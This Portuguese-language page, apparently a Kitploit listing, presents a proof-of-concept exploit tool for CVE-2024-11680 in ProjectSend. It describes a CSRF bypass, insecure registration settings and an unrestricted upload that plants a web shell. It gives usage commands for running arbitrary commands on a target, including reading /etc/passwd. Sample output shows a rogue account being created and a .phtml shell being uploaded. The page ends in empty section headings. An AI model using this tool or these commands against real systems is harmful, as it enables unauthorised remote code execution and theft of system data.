CVE-2024-11680 — Este repositório contém um exploit de prova de conceito (PoC) para CVE-2024-11680, uma vulnerabilidade crítica no ProjectSend r1605 e versões anteriores. O exploit visa autenticação incorreta devido a problemas com configurações de privilégios incorretas e injeção de comandos. | Kitploit

Exploit do ProjectSend CVE-2024-11680

Este é um exploit de prova de conceito para o CVE-2024-11680, uma vulnerabilidade de modificação de configuração não autenticada e upload de web shell no ProjectSend.

Descrição

O exploit aproveita múltiplas vulnerabilidades no ProjectSend:

Bypass do token CSRF permitindo alterações de configuração
Configurações inseguras de registro de cliente
Upload de arquivo sem restrições levando à execução remota de código

Requisitos

Python 3.x
Pacotes Python necessários:
```
pip install requests colorama
```

Uso

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

Argumentos

-u, --url: URL alvo (ex.: )

# Get Python version
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"

# List directory contents
python3 exploit.py -u http://target.com/projectsend -c "ls -la"

# Get system information
python3 exploit.py -u http://target.com/projectsend -c "uname -a"

# Read passwd file
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"

[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2

CVE-2024-11680

Mais Populares

Exemplos

Como funciona

Recursos

Aviso Legal

Referências

Exemplo de Saída